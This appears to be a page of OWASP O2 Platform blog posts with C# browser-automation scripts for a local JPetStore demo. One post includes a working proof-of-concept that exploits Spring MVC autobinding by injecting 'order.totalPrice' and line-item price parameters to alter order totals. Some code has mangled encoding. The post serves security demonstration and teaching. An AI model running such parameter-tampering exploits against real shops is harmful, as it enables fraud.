OWASP O2 Platform Blog

O2 Script to download O2 Reference DLLs from SVN

An O2 user today had a problem that sometimes happens inside networks with’ proxy based internet access’.

The issue is that if an O2 script needs a particular dll to run and it has not been downloaded before, O2 will fail to find it because the ping that it makes to check for online connectity will fail (this is a bug that needs to be fixed in the main O2 ClickOnce version).

So to address his short term need (and to show how easy it is to¬†add new modules anf capabilities to O2), I ‘live coded’ the scrip below using ietherpad.com ūüôā

Here is the link of the Etherpad timeslider (you can go back in time and see how the script evolved): http://ietherpad.com/ep/pad/view/uuSwFWulSf/latest

Here is a screenshot of what it looks like:

Here is the source code of this new O2¬†Util (which is already added to the main O2 Scripts folder (look for the script called ‘Util – Download O2 Reference File.h2’))

//var topPanel = panel.clear().add_Panel();
var topPanel = "Get O2 Reference dll (double click on file to download it)".popupWindow(400,500); 
topPanel.insert_LogViewer();</pre>
&nbsp;

var ie = topPanel.add_IE().silent(true);

var treeView = topPanel.insert_Left().add_TreeView().sort();

Action<string> addUrlMappingsToTreeView =
    (urlWithLinks)=>{
                        ie.open(urlWithLinks);
                        var links = from link in ie.links()
                            where link.text() != ".."
                            select new { filename = link.text() , url = link.url() };
                        foreach(var link in links)
                            treeView.add_Node(link.filename, link.url);
                    };
addUrlMappingsToTreeView("<a href="http://o2platform.googlecode.com/svn/trunk/O2%20-%20All%20Active%20Projects/_3rdPartyDlls/FilesWithNoCode/">http://o2platform.googlecode.com/svn/trunk/O2%20-%20All%20Active%20Projects/_3rdPartyDlls/FilesWithNoCode/</a>");
addUrlMappingsToTreeView("<a href="http://o2platform.googlecode.com/svn/trunk/O2%20-%20All%20Active%20Projects/_3rdPartyDlls/">http://o2platform.googlecode.com/svn/trunk/O2%20-%20All%20Active%20Projects/_3rdPartyDlls/</a>");

topPanel.splitContainer().panel2Collapsed(true);

treeView.onDoubleClick<string>(
    (url)=> {
                treeView.pink();
                "you selected the url: {0}".info(url);
                var localTempFile = url.uri().download();
                var copiedFile = Files.Copy(localTempFile,PublicDI.config.CurrentExecutableDirectory);
                "file was copied to: {0}".info(copiedFile);
                treeView.white();
            });
return "ok";

//O2File:WatiN_IE_ExtensionMethods.cs
//using O2.XRules.Database.Utils.O2
//O2Ref:WatiN.Core.1x.dll

July 13, 2011 Posted by | O2 Internals, WatiN | Leave a comment

Writing an O2 ‘IE Automation’ Script for JPetStore Account Creation

Here is a video and script of the interactive process of writing an O2 IE Automation Script for JPetStore.

This is is the original script as shown in the video:

panel.clear();
var ie = panel.add_IE().silent(true);</pre>
&nbsp;

//ie.open("http://localhost:8080/jpetstore");
//ie.link("Enter the Store").click();

ie.open("http://localhost:8080/jpetstore/shop/newAccount.do");
ie.field("account.username").value("a user");
ie.field("account.password").value("pwd");
ie.field("repeatedPassword").value("pwd");
ie.field("account.firstName").value("first");
ie.field("account.lastName").value("name");
ie.field("account.address1").value("1");
ie.field("account.phone").value("2");
ie.field("account.city").value("3");
ie.field("account.state").value("4");
ie.field("account.zip").value("5");
ie.field("account.country").value("6");
ie.field("account.email").value("7");
ie.button("Save Account Information").click();

//return ie.buttons();
//ie.inject_FirebugLite();
//return ie.links();

//O2File:WatiN_IE_ExtensionMethods.cs
//using O2.XRules.Database.Utils.O2
//O2Ref:WatiN.Core.1x.dll

Which was then added to the API_JPetStore.cs as a couple createAccount(…) extension¬†methods:

public static API_JPetStore createAccount(this API_JPetStore jPetStore, string username, string password)
{
return jPetStore.createAccount(username, password, username,10.randomLetters(),10.randomLetters(),
10.randomLetters(),10.randomLetters(),10.randomLetters(),
10.randomLetters(),10.randomLetters(),10.randomLetters());
}

public static API_JPetStore createAccount(this API_JPetStore jPetStore, string username, string password ,
string firstName, string lastName, string address1,
string phone, string city, string state, string zip,
string country, string email)
{
jPetStore.open("/shop/newAccount.do");
var ie = jPetStore.ie;
ie.field("account.username").value(username);
ie.field("account.password").value(password);
ie.field("repeatedPassword").value(password);
ie.field("account.firstName").value(firstName);
ie.field("account.lastName").value(lastName);
ie.field("account.address1").value(address1);
ie.field("account.phone").value(phone);
ie.field("account.city").value(city);
ie.field("account.state").value(state);
ie.field("account.zip").value(zip);
ie.field("account.country").value(country);
ie.field("account.email").value(email);
ie.button("Save Account Information").click();
return jPetStore;
}

So that they can be easily consumed like this:

panel.clear();
var ie = panel.add_IE().silent(true);</pre>
&nbsp;

var jPetStore = new API_JPetStore(ie);

jPetStore.createAccount("user12","pwd"); //create user
jPetStore.logout();                         // logout
jPetStore.login("user12","pwd____");      //should fail (wrong password)
jPetStore.login("user12","pwd");          //should work

//O2File:API_JPetStore.cs
//O2File:WatiN_IE_ExtensionMethods.cs
//using O2.XRules.Database.Utils.O2
//O2Ref:WatiN.Core.1x.dll

Here is a screenshot of the user created with the script above (note the random values)

July 13, 2011 Posted by | IE Automation, JPetStore, Spring MVC, videos, WatiN | Leave a comment

Injecting FirebugLite and jQuery into a IE Automation page (JPetStore Example)

When doing IE Automation, sometimes the best way to find out what is happening at the page we’re working on is to¬†open FireBug on it. A cool (and very powerfull)¬†alternative is to use FirebugLite which can be embeded on any page and works on most browsers.

As you can see here http://getfirebug.com/firebuglite#Stable¬†one way to fireup FirebugLite is to execute that bit of Javascript they show under the ‘Add the following link to your bookmarks:’ section.

When using O2’s IE Automation this can be achieved like this:

var firebugLiteScript = &amp;quot;(function(F,i,r,e,b,u,g,L,I,T,E){if(F.getElementById(b))return;E=F[i+'NS']&amp;amp;&amp;amp;F.documentElement.namespaceURI;E=E?F[i+'NS'](E,'script'):F[i]('script');E[r]('id',b);E[r]('src',I+g+T);E[r](b,u);(F[e]('head')[0]||F[e]('body')[0]).appendChild(E);E=new Image;E[r]('src',I+L);})(document,'createElement','setAttribute','getElementsByTagName','FirebugLite','4','firebug-lite.js','releases/lite/latest/skin/xp/sprite.png','https://getfirebug.com/','#startOpened');&amp;quot;;
ie.eval(firebugLiteScript );

And since that works, let’s add it as an Extension method to the WatiN_ExtensionMethods.cs file that is used on the IE Automation script:

public static class WatiN_IE_ExtensionMethods_FireBugLite
{
public static WatiN_IE inject_FirebugLite(this WatiN_IE ie)
{
var firebugLiteScript = &amp;quot;(function(F,i,r,e,b,u,g,L,I,T,E){if(F.getElementById(b))return;E=F[i+'NS']&amp;amp;&amp;amp;F.documentElement.namespaceURI;E=E?F[i+'NS'](E,'script'):F[i]('script');E[r]('id',b);E[r]('src',I+g+T);E[r](b,u);(F[e]('head')[0]||F[e]('body')[0]).appendChild(E);E=new Image;E[r]('src',I+L);})(document,'createElement','setAttribute','getElementsByTagName','FirebugLite','4','firebug-lite.js','releases/lite/latest/skin/xp/sprite.png','https://getfirebug.com/','#startOpened');&amp;quot;;
ie.eval(firebugLiteScript);
return ie;
}
}

While we are here lets also add jQuery directly (without the need to use the IE_JQuery.cs api)

ie.eval(&amp;quot;&amp;lt;a href=&amp;quot;http://code.jquery.com/jquery-1.6.2.min.js%22.uri().getHtml&amp;quot;&amp;gt;http://code.jquery.com/jquery-1.6.2.min.js&amp;quot;.uri().getHtml&amp;lt;/a&amp;gt;());

or as an extension method:

public static class WatiN_IE_ExtensionMethods_JQuery
{
public static WatiN_IE inject_jQuery(this WatiN_IE ie)
{
ie.eval(&amp;quot;&amp;lt;a href=&amp;quot;http://code.jquery.com/jquery-1.6.2.min.js%22.uri().getHtml&amp;quot;&amp;gt;http://code.jquery.com/jquery-1.6.2.min.js&amp;quot;.uri().getHtml&amp;lt;/a&amp;gt;());
return ie;
}
}

Puting it all together, here is a script that:

  • ¬†opens up JPetStore
  • Injects FirebugLite
  • Injects jQuery
  • runs a jQuery command that:
    • selects an ‘a’ with the content ‘Enter the Store’
    • changes its border to 2px
    • changes it size to 20px
    • fades it out in 2000 ms
    • fades is it in 2000 ms
var topPanel = panel.clear().add_Panel();
var ie = topPanel.add_IE().silent(true);
var jPetStore = new API_JPetStore(ie);

jPetStore.homePage();
ie.inject_FirebugLite();
ie.inject_jQuery();
ie.eval(&amp;quot;jQuery(\&amp;quot;a:contains('Enter the Store')\&amp;quot;).css({'border': 'solid 10px', 'font-size' : 30 } ).fadeOut(2000).fadeIn(2000);&amp;quot;);&amp;lt;/pre&amp;gt;
&amp;amp;nbsp;
//O2File:API_JPetStore.cs
//O2File:WatiN_IE_ExtensionMethods.cs
//using O2.XRules.Database.Utils.O2
//O2Ref:WatiN.Core.1x.dll

Here is a screenshot what what this looks like:

July 13, 2011 Posted by | IE Automation, JPetStore, jQuery, Spring MVC, WatiN | Leave a comment

Creating an API for JPetStore Browser automation

Once we have a number of Lambda functions to perform IE/Web automation, the next step is to create an API so that they can be easily consumed and reused.

This API is going to be called API_JPetStore.cs and will allow the simple invocation of JPetStore commands like this:

var topPanel = panel.clear().add_Panel();
var ie = topPanel.add_IE().silent(true); 
var jPetStore = new API_JPetStore(ie);
 
jPetStore.homePage(); 
jPetStore.login_DefaultValues();
jPetStore.logout();
jPetStore.login("asd","asd"); 
jPetStore.login("j2ee","j2ee");</pre>
&nbsp;

//O2File:API_JPetStore.cs
//O2File:WatiN_IE_ExtensionMethods.cs
//using O2.XRules.Database.Utils.O2
//O2Ref:WatiN.Core.1x.dll

Here is the current source code for the API_JPetStore.cs file (at the moment only implemeting a couple functions (like the login and logout)

// This file is part of the OWASP O2 Platform (<a href="http://www.owasp.org/index.php/OWASP_O2_Platform">http://www.owasp.org/index.php/OWASP_O2_Platform</a>) and is released under the Apache 2.0 License (<a href="http://www.apache.org/licenses/LICENSE-2.0">http://www.apache.org/licenses/LICENSE-2.0</a>)
using System;
using System.Linq;
using System.Collections.Generic;
using O2.Kernel;
using O2.Kernel.ExtensionMethods;
using O2.DotNetWrappers.DotNet;
using O2.DotNetWrappers.ExtensionMethods;
//O2File:WatiN_IE_ExtensionMethods.cs   
//O2File:WatiN_IE.cs
//O2Ref:WatiN.Core.1x.dll</pre>
&nbsp;

namespace O2.XRules.Database.APIs
{
    public class API_JPetStore
    {   
        public WatiN_IE ie;
        public string appUrl = "<a href="http://localhost:8080/jpetstore">http://localhost:8080/jpetstore</a>";
       
        public API_JPetStore(WatiN_IE _ie)
        {
            ie = _ie;
        }           
       
        public API_JPetStore open(string virtualPath)
        {
            if (virtualPath.starts("/").isFalse())
                virtualPath = "/{0}".format(virtualPath);
            var fullUri = "{0}{1}".format(appUrl, virtualPath).uri();
            ie.open(fullUri.str());
            return this;
        }
    }
   
      
    public static class API_JPetStore_ExtensionMethods
    {
        public static API_JPetStore homePage(this API_JPetStore jPetStore)       
        {           
            jPetStore.open("");
            return jPetStore;
        }
       
        public static API_JPetStore login_DefaultValues(this API_JPetStore jPetStore)       
        {           
            jPetStore.open("/shop/signonForm.do");
            jPetStore.ie.buttons()[1].click();
            return jPetStore;
        }
       
        public static bool login(this API_JPetStore jPetStore, string username, string password)       
        {           
            jPetStore.open("/shop/signonForm.do");
            var ie = jPetStore.ie;
            ie.field("username").value(username);
            ie.field("password").value(password);
            jPetStore.ie.buttons()[1].click();
            return ie.IE.Html.contains("Invalid username or password. Signon failed.");
        }
       
        public static API_JPetStore logout(this API_JPetStore jPetStore)       
        {           
            jPetStore.open("/shop/signoff.do");            
            return jPetStore;
        }

       
    }
}

 

July 13, 2011 Posted by | JPetStore, Spring MVC, WatiN | Leave a comment

Using jQuery to consume an ASP.NET Ashx from JSON in two files

Here is a basic asp.net based JSON based ‘webservice’ which can be implemented with two files and requires no compilation

Javascript code (DataHandler.js):

function CallHandler() {
$.ajax({
url: "DataHandler.ashx",
contentType: "application/json; charset=utf-8",
dataType: "json",
data: { 'page': '100AAAAAf00' },
responseType: "json",
success: OnComplete,
error: OnFail
});
return false;
}

function OnComplete(result) {
alert(JSON.stringify(result));
}
function OnFail(result) {
alert('Request Failed');
}

CallHandler();

Server side code (DataHandler.ashx):

<%@ WebHandler Language="C#" %></pre>
&nbsp;

using System.Text;
using System.Web;
using System.Web.Script.Serialization;

public class test
{
public string var1 {get;set;}
public string var2 {get;set;}
public string page {get;set;}
public test()
{
var1 = "aaaa";
var2 = "bbb";
}
}

public class GetDataHandler : IHttpHandler
{
public HttpContext context;
public HttpRequest request;
public HttpResponse response;

public void handleRequest()
{
//writeRaw("this is a message");
writeJson(new test() { page = request["page"] });
}

public bool IsReusable
{
get { return false; }
}

public void ProcessRequest (HttpContext _context)
{
context = _context;
request = _context.Request;
response = _context.Response;
context.Response.ContentType = "application/json";
context.Response.ContentEncoding = Encoding.UTF8;

handleRequest();

}

public void writeJson(object _object)
{
JavaScriptSerializer javaScriptSerializer = new JavaScriptSerializer();
string jsondata = javaScriptSerializer.Serialize(_object);
writeRaw(jsondata);
}


public void writeRaw(string text)
{
context.Response.Write(text);
}
}

result

{"var1":"aaaa","var2":"bbb","page":"100AAAAAf00"}

references

based on source code samples from:

July 12, 2011 Posted by | IE Automation, jQuery | 1 Comment

O2 Script for “Spring MVC JPetStore – Start Servers” (start/stop apache and hsqldb)

Part of the Spring MVC O2 demos, this script will:

  • Create a Gui to allow¬†easy start and stop of the JPetStore servers (web and db)
  • Shows how to start an apache server and hsqldb¬†directly (i.e. without using *.bat files)
  • Provide links to the other jPetStore Spring MVC *.h2 scripts

Here is a video of this script in action:

This script is included in the jPetStore O2 Demo Pack which can be downloaded from here (includes JPetStore and Apache):

Here is the script:

var topPanel = O2Gui.open<Panel>("JPetStore - Start Servers",1000,400);
//var topPanel = panel.clear().add_Panel();
Process hsqldbProcess = null;
Process apacheProcess = null;
var actionPanel = topPanel.insert_Above(20);
topPanel.add_LogViewer();
var ie = topPanel.insert_Right().add_IE();</pre>
&nbsp;

//Processes.getProcessesCalled("java").stop();
var currentFolder = PublicDI.CurrentScript.directoryName();

Action startServers =
()=>{
"Starting Db and Web servers".debug();
// start db server (hsqldb)
hsqldbProcess = Processes.startProcessAndRedirectIO("java",
@"-classpath .\hsqldb.jar org.hsqldb.Server -database jpetstore",
currentFolder.pathCombine("hsqldb"),
PublicDI.log.info);

//start web server (apache)
var tomcatFolder = currentFolder.pathCombine("apache-tomcat-7.0.16");
var apacheBinDirectory =  tomcatFolder.pathCombine("bin");

var apacheStartParameters = ("-Djava.util.logging.config.file=\"{0}\\conf\\logging.properties\" " +
"-Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager   " +
"-Djava.endorsed.dirs=\"{0}\\endorsed\" " +
"-classpath \"{0}\\bin\\bootstrap.jar;{0}\\bin\\tomcat-juli.jar\" " +
"-Dcatalina.base=\"{0}\" -Dcatalina.home=\"{0}\" " +
"-Djava.io.tmpdir=\"{0}\\temp\" org.apache.catalina.startup.Bootstrap  start"
).format(tomcatFolder) ;

apacheProcess = Processes.startProcessAndRedirectIO("java",
apacheStartParameters,
currentFolder.pathCombine("hsqldb"),
PublicDI.log.info);
};

Action stopServers =
()=>{
"Stopping Db and Web servers".debug();
apacheProcess.stop();
hsqldbProcess.stop();
};
Action openJPetStore =
()=>{
ie.open("http://localhost:8080/jpetstore");
ie.link("Enter the Store").click();
ie.links().where((link)=> link.url().contains("FISH"))[0].click();
};
actionPanel.add_Link("Start Servers",0,0,()=>startServers())
.append_Link("Stop Servers",()=>stopServers())
.append_Link("Enter JPetStore and open a Page", ()=> openJPetStore())
.append_Link("JpetStore - BlackBox Exploits.h2" ,()=> "JpetStore - BlackBox Exploits.h2".local().executeH2Script() )
.append_Link("JPetStore - View Controllers.h2"  ,()=> currentFolder.pathCombine("JPetStore - View Controllers.h2").executeH2Script() );   ;


return "ok";

//using System.Diagnostics
//O2File:WatiN_IE_ExtensionMethods.cs
//using O2.XRules.Database.Utils.O2
//O2Ref:WatiN.Core.1x.dll

July 12, 2011 Posted by | JPetStore, Spring MVC, videos, WatiN | Leave a comment

O2 Script with BlackBox exploits for Spring MVC AutoBinding vulnerabilities in JPetStore

This script ( that you can find on your local O2 Scripts folder at ‘C:\O2\O2Scripts_Database\_Scripts\_Sample_Vulnerabilities\jPetStore\JpetStore – BlackBox Exploits.h2’ ) shows a blackbox aninimation of a couple Spring MVC Autobinding vulnerabilities in the JPetStore application.

You can see a video of this script in action here:

Also see this blog post for more details: http://diniscruz.blogspot.com/2011/07/two-security-vulnerabilities-in-spring.html  (includes a link to a white paper in this topic published in 2008 (but still very relevant))

Here is the source code of the O2 Script that creates a PoC GUI and allows the controlled execution of 3 variations of the exploits:

var topPanel = "JPetStore 'AutoBinding Vulnerability' PoC".popupWindow(1000,700);
//var topPanel = panel.clear().add_Panel();

var actionPanel = topPanel.insert_Above(40);
var ie = topPanel.add_IE_with_NavigationBar().silent(true);

var server = "http://127.0.0.1.:8080";

Action<string,string> login =
    (username, password) => {
                                ie.open(server + "/jpetstore/shop/signonForm.do");
                                ie.field("username",username);
                                ie.field("password",password);
                                ie.buttons()[1].click();
                            };

Action loginPlaceAnOrderAndGoToCheckout =
    ()=>{
            ie.open("http://127.0.0.1:8080/jpetstore");
            ie.link("Enter the Store").click();
            //login if needed
            var signOffLink = ie.links().where((link)=> link.url().contains("signonForm.do")).first();
            if(signOffLink.notNull())
            {
                signOffLink.click();
                login("j2ee", "pwd1");
            }
            ie.links().where((link)=> link.url().contains("FISH"))[0].click();
            ie.link("FI-FW-01 ").flash().click();
            ie.links().where((link)=> link.url().contains("addItemToCart"))[0].flash().click();
            ie.links().where((link)=> link.url().contains("checkout.do"))[0].flash().click();
            ie.links().where((link)=> link.url().contains("newOrder.do"))[0].flash().click();
        };

Action scrollToTotal =
    ()=>{
            var tdElement = ie.elements().elements("TD").toList().Where((element)=> element.innerHtml().notNull() && element.innerHtml().contains("Total:")).first();
            tdElement.scrollIntoView();
            tdElement.injectHtml_beforeEnd("<h2><p align=right>Look at the Total value from the table above (it should be 18.50)</p><h2>");
        };

Action<string> exploit_Variation_1 =
    (payload) => {
                    loginPlaceAnOrderAndGoToCheckout();
                    ie.buttons()[1].flash().click();
                    ie.open(server + "/jpetstore/shop/newOrder.do?_finish=true&" + payload);
                    scrollToTotal();
                 };

Action<string> exploit_Variation_1_SetTotalPrice =
    (totalPrice) => {
                        var payload = "&order.totalPrice={0}".format(totalPrice);
                        exploit_Variation_1(payload);
                    };

Action<string> exploit_Variation_1_SetItemPriceQuantityAndTotalPrice =
    (totalPrice) => {
                        var payload = "&order.totalPrice={0}&order.lineItems[0].unitPrice=12&order.lineItems[0].quantity=12".format(totalPrice);
                        exploit_Variation_1(payload);
                    };

Action<string> exploit_Variation_2 =
    (totalPrice) => {
                        loginPlaceAnOrderAndGoToCheckout();
                        ie.field("order.billToFirstName").flash()
                          .injectHtml_afterEnd("<br>Total Price:<input type=text name='order.totalPrice' value='{0}'/>".format(totalPrice));
                        ie.buttons()[1].flash().click();
                        ie.open("http://127.0.0.1.:8080/jpetstore/shop/newOrder.do?_finish=true");
                        scrollToTotal();
                    };

//ie.disableFlashing();
var desiredPrice = "";
actionPanel.add_Label("Desired Total Price:").top(4)
           .append_TextBox("").onTextChange((text) => desiredPrice = text).set_Text("1.99")
           .append_CheckBox("Disable flashing",(value)=> { if (value) ie.disableFlashing(); else ie.enableFlashing(); })
           .append_Link("Normal Request", ()=> exploit_Variation_1("")).top(24).left(105)
           .append_Link("Exploit Variation #1 (set TotalPrice) ", ()=> exploit_Variation_1_SetTotalPrice(desiredPrice))
           .append_Link("Exploit Variation #2 (set ItemPrice, Item Quantity and TotalPrice) ", ()=> exploit_Variation_1_SetItemPriceQuantityAndTotalPrice(desiredPrice))
           .append_Link("Exploit Variation #3 (set TotalPrice) ", ()=> exploit_Variation_2(desiredPrice))
           .append_Link("Exploit Variation #3 (set TotalPrice) ", ()=> exploit_Variation_2(desiredPrice))
           .append_Link("loginPlaceAnOrderAndGoToCheckout; ",()=> loginPlaceAnOrderAndGoToCheckout());

ie.open("http://127.0.0.1.:8080/jpetstore");

return "done";

//O2File:WatiN_IE_ExtensionMethods.cs
//using O2.XRules.Database.Utils.O2
//O2Ref:WatiN.Core.1x.dll

July 11, 2011 Posted by | JPetStore, Spring MVC, videos, WatiN | 1 Comment

Creating a jQuery DataTable using serialized JSON object

Using the same technique used in the JsTree example, here is a DataTable dynamically populated from a serialized JSON object

//based on example from http://www.datatables.net/release-datatables/examples/data_sources/js_array.html
//var topPanel = panel.clear().add_Panel(); 
var topPanel = "Poc - jQuery jsDataTable".popupWindow(900,400);

var jsDataTable =  new JsDataTable();

jsDataTable    .add_Row("Trident", "Internet Explorer 4.0", "Win 95+", 4, "X")
               .add_Row("Trident", "Internet Explorer 4.0", "Win 95+", 4, "X")
            .add_Row("Trident", "Internet Explorer 5.0", "Win 95+", 5, "C")
            .add_Row("Trident", "Internet Explorer 5.5", "Win 95+", 5.5, "A")
            .add_Row("Trident", "Internet Explorer 6.0", "Win 98+", 6, "A")
            .add_Row("Trident", "Internet Explorer 7.0", "Win XP SP2+", 7, "A")
            .add_Row("Gecko", "Firefox 1.5", "Win 98+ / OSX.2+", 1.8, "A")
            .add_Row("Gecko", "Firefox 2", "Win 98+ / OSX.2+", 1.8, "A")
            .add_Row("Gecko", "Firefox 3", "Win 2k+ / OSX.3+", 1.9, "A")
            .add_Row("Webkit", "Safari 1.2", "OSX.3", 125.5, "A")
            .add_Row("Webkit", "Safari 1.3", "OSX.3", 312.8, "A")
            .add_Row("Webkit", "Safari 2.0", "OSX.4+", 419.3, "A")
            .add_Row("Webkit", "Safari 3.0", "OSX.4+", 522.1, "A");

jsDataTable.add_Columns("Engine", "Browser", "Platform");
jsDataTable.add_Column("Version", "center");
jsDataTable.add_Column("Grade", "center");
//adding without using extension methods
/*jsDataTable.aaData.Add(new List<string> { "Trident", "Internet Explorer 4.0", "Win 95+", "4", "X" });
jsDataTable.aoColumns.add(new JsDataTable.JsDataColumn { sTitle = "Engine"  });
jsDataTable.aoColumns.add(new JsDataTable.JsDataColumn { sTitle = "Browser"  });
jsDataTable.aoColumns.add(new JsDataTable.JsDataColumn { sTitle = "Platform"  });
jsDataTable.aoColumns.add(new JsDataTable.JsDataColumn { sTitle = "Version" , sClass = "center" });
jsDataTable.aoColumns.add(new JsDataTable.JsDataColumn { sTitle = "Grade" , sClass = "center" }); */

//return "{0}".info(jsDataTable.jsonString());

 
var ie = topPanel.add_IE();                 

ie.showMessage("loading dataTable js and css");

var jQuery = new IE_JQuery(ie);    
var cssFile = @"dataTable_demo.css".local();
var styleHtml =  "<style type=\"text/css\"> {0} </style>".format(cssFile.fileContents().fixCRLF().remove("".line()).replace("'", "\""));

var injectCSS = "$('body').append($('"  + styleHtml + "' ))";
ie.invokeEval(injectCSS);

//ie.invokeEval("<a href="http://static.jstree.com/v.1.0pre/jquery.jstree.js%22.uri().getHtml">http://static.jstree.com/v.1.0pre/jquery.jstree.js".uri().getHtml</a>());  // use to get jstree from jstree.com website
ie.invokeEval("jquery.dataTables.min.js".local().fileContents());
jQuery.element("div").html("creating local table");

ie.invokeEval("$('body').append($('<div id=\"testDataTable\"/>')); $('#testDataTable').html('test DataTable will go here');");
ie.invokeEval("$('#testDataTable').html( '<table cellpadding=\"0\" cellspacing=\"0\" border=\"0\" class=\"display\" id=\"example\"></table>' );");
//ie.invokeEval("%('#example').html('aaaaaaaaa')");
/*var dataToBuildTable =  "                        { " +    
                        "                                'aaData': [" +
                        "                                                [ 'Trident', 'Internet Explorer 4.0', 'Win 95+', 4, 'X' ], " +
                        "                                                [ 'Trident', 'Internet Explorer 5.0', 'Win 95+', 5, 'C' ], " +
                        "                                                [ 'Gecko', 'Firefox 3', 'Win 2k+ / OSX.3+', 1.9, 'A' ], " +
                        "                                                [ 'Webkit', 'Safari 1.2', 'OSX.3', 125.5, 'A' ]          " +
   
                        "                                          ]," +         
                        "                                'aoColumns': [" +
                        "                                                { 'sTitle': 'Engine' }, " +
                        "                                                { 'sTitle': 'Browser' }, " +
                        "                                                { 'sTitle': 'Platform' }, " +
                        "                                                { 'sTitle': 'Version', 'sClass': 'center' }, " +
                        "                                                { 'sTitle': 'Grade', 'sClass': 'center' } " +
                        "                                               ]" +
                        "                        }      ";     */
                
var dataToBuildTable = jsDataTable.jsonString();
ie.invokeEval(" $('#example').dataTable( " + dataToBuildTable +" );"  );

//O2File:JsDataTable.cs

return "done";

//O2File:IE_JQuery.cs
//O2Ref:WatiN.Core.1x.dll
//O2Ref:Microsoft.mshtml.dll

Here is the code of the JsDataTable class:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.Script.Serialization;
using System.Windows.Forms;
using O2.Kernel.ExtensionMethods;
using O2.DotNetWrappers.ExtensionMethods;

//O2Ref:System.Web.Extensions.dll

namespace O2.XRules.Database.APIs
{
    public class JsDataTable
    {
        public List<List<object>> aaData;
        public List<JsDataColumn> aoColumns;       
       
        public JsDataTable()
        {
             aaData = new List<List<object>>() ;
             aoColumns = new List<JsDataColumn>();
        }
       
        public class JsDataColumn
        {
            public string sTitle {get; set; }
            public string sClass {get; set; }
        }
    }
   
   
    public static class JsDataTable_ExtensionMethods
    {
        public static string jsonString(this object _object)
        {
            return new JavaScriptSerializer().Serialize(_object);
        }
       
        public static JsDataTable add_Row(this JsDataTable jsDataTable, params object[] cells)
        {
            return jsDataTable.add_Row(cells.toList());
        }
       
        public static JsDataTable add_Row(this JsDataTable jsDataTable, List<object> cells)
        {
            jsDataTable.aaData.Add(cells);
            return jsDataTable;
        }
               
        public static JsDataTable add_Column(this JsDataTable jsDataTable, string title)
        {
            return jsDataTable.add_Column(title, null);
        }
       
        public static JsDataTable add_Column(this JsDataTable jsDataTable, string title, string _class)
        {
            jsDataTable.aoColumns.add(new JsDataTable.JsDataColumn { sTitle = title, sClass = _class });
            return jsDataTable;
        }
       
        public static JsDataTable add_Columns(this JsDataTable jsDataTable, params string[] titles)
        {
            foreach(var title in titles)
                jsDataTable.add_Column(title);
            return jsDataTable;
        }
    }
}

June 21, 2011 Posted by | IE Automation, jQuery, WatiN | Leave a comment

Creating a jQuery jsTree using serialized JSON object

Based on the code samples from http://mohyuddin.blogspot.com/2009/05/binding-jstree-programmatically-with.html this O2 Platform script shows how to create a jsTree (jQuery plugin) using as a data source a serialized JSON object (this is perfect for use on a web service)

//var topPanel = panel.clear().add_Panel(); 
var topPanel = "Poc - jQuery jsTree".popupWindow(600,200);
 
var ie = topPanel.add_IE();                </pre>
&nbsp;

ie.showMessage("loading jstree js");

var jQuery = new IE_JQuery(ie);  

var cssFile = @"jquery.jstree.style.css".local();
var styleHtml =  "<style type=\"text/css\"> {0} </style>".format(cssFile.fileContents().remove("".line()));
var injectCSS = "$('body').append($('"  + styleHtml + "' ))";
ie.invokeEval(injectCSS);

//ie.invokeEval("<a href="http://static.jstree.com/v.1.0pre/jquery.jstree.js%22.uri().getHtml">http://static.jstree.com/v.1.0pre/jquery.jstree.js".uri().getHtml</a>());  // use to get jstree from jstree.com website
ie.invokeEval("jquery.jstree.js".local().fileContents());
jQuery.element("div").html("creating local tree");
ie.invokeEval("$('body').append($('<div id=\"testJsTree\"/>')); $('#testJsTree').html('test JsTree will go here');");

var jsTree = new JsTree();
jsTree.add_Node("node 1");
jsTree.add_Node("node 2") 
      .add_Node("child 1")
      .add_Nodes("sub child 1", "sub child 2");
jsTree.add_Nodes("node 3", "node 4");
 
ie.invokeEval("treeData = " + jsTree.jsonString());                                  // this creates a string for the serialized jsTree object
//ie.invokeEval("treeData = { 'data' : ['firstnode' ,'2ndNode', '3rdNode' ]  }");    // this creates a tree it manually
ie.invokeEval("jQuery('#testJsTree').jstree({ 'json_data' : treeData ,  'plugins' : [  'themes', 'json_data' , 'dnd']} );");

jQuery.element("div").html("tree created");

return "ok";
//O2File:JsTreeNode.cs
//O2File:IE_JQuery.cs
//O2Ref:WatiN.Core.1x.dll
//O2Ref:Microsoft.mshtml.dll

Here is the code of the JsTree class (in the JsTreeNode.cs file):

using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.Script.Serialization;
//O2Ref:System.Web.Extensions.dll

namespace O2.XRules.Database.APIs
{
    public class JsTree
    {
        public List<JsTreeNode> data;
       
        public JsTree()
        {
            data = new List<JsTreeNode>();
        }
    }
   
    public class JsTreeNode
    {
        public Attributes attributes { get; set; }      
        public Data data  { get; set; }          
        public string state { get; set; }              
        public List<JsTreeNode> children { get; set; }          
       
        public JsTreeNode()
        {
            children = new  List<JsTreeNode>();
            data = new Data();
            attributes = new Attributes();
        }   
        public  JsTreeNode(string title) : this()
        {
            data.title = title;
        }
       
    }
    public class Attributes
    {
        public string id { get; set; }  
        public string rel { get; set; }          
        public string mdata { get; set; }      
    }
   
    public class Data
    {
        public string title { get; set; }      
        public string icon { get; set; }      
    }
   
    public static class JsTree_ExtensionMethods
    {
        public static string jsonString(this object _object)
        {
            return new JavaScriptSerializer().Serialize(_object);
        }
       
        public static JsTreeNode add_Node(this JsTree jsTree, string title)
        {
            var newJsTreeNode = new JsTreeNode(title);
            jsTree.data.Add(newJsTreeNode);
            return newJsTreeNode;
        }
       
        public static List<JsTreeNode> add_Nodes(this JsTree jsTree, params string[] titles)
        {
            var newJsTreeNodes = new List<JsTreeNode>();
            foreach(var title in titles)
                newJsTreeNodes.Add(jsTree.add_Node(title));
            return newJsTreeNodes;
        }
       
        public static JsTreeNode add_Node(this JsTreeNode jsTreeNode, string title)
        {
            var newJsTreeNode = new JsTreeNode(title);
            jsTreeNode.children.Add(newJsTreeNode);
            return newJsTreeNode;
        }
       
        public static List<JsTreeNode> add_Nodes(this JsTreeNode jsTreeNode, params string[] titles)
        {
            var newJsTreeNodes = new List<JsTreeNode>();
            foreach(var title in titles)
                newJsTreeNodes.Add(jsTreeNode.add_Node(title));
            return newJsTreeNodes;
        }
    }
}

Based on the original code sample, here is a working version of its test script:


List<JsTreeNode> nodesList = new List<JsTreeNode>();
for (int i = 1; i < 10; i++)
{
    JsTreeNode node = new JsTreeNode();
    node.attributes = new Attributes();
    node.attributes.id = "rootnod" + i;
